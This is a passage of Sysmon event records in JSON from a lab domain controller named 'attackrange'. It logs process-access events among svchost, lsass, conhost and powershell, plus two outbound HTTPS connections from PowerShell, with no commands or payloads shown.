11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4540,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4541,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4542,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.115\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nSourceProcessId: 4108\r\nSourceThreadId: 3644\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-00108F760600}\r\nTargetProcessId: 4408\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.115","SourceProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","SourceProcessId":"4108","SourceThreadId":"3644","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-00108F760600}","TargetProcessId":"4408","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4543,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.745\r\nProcessGuid: {90617006-413C-5F2D-0000-0010D6340600}\r\nProcessId: 4664\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51437\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 104.74.143.169\r\nDestinationHostname: a104-74-143-169.deploy.static.akamaitechnologies.com\r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.745","ProcessGuid":"{90617006-413C-5F2D-0000-0010D6340600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51437","DestinationIsIpv6":"false","DestinationIp":"104.74.143.169","DestinationHostname":"a104-74-143-169.deploy.static.akamaitechnologies.com","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":4544,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.778\r\nProcessGuid: {90617006-413C-5F2D-0000-0010D6340600}\r\nProcessId: 4664\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51438\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 152.199.19.161\r\nDestinationHostname: \r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.778","ProcessGuid":"{90617006-413C-5F2D-0000-0010D6340600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51438","DestinationIsIpv6":"false","DestinationIp":"152.199.19.161","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4545,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.131\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.131","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4546,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.131\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.131","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4547,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.131\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.131","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4548,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.147\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-00108F760600}\r\nTargetProcessId: 4408\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.147","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-00108F760600}","TargetProcessId":"4408","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4549,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.147\r\nProcessGuid: 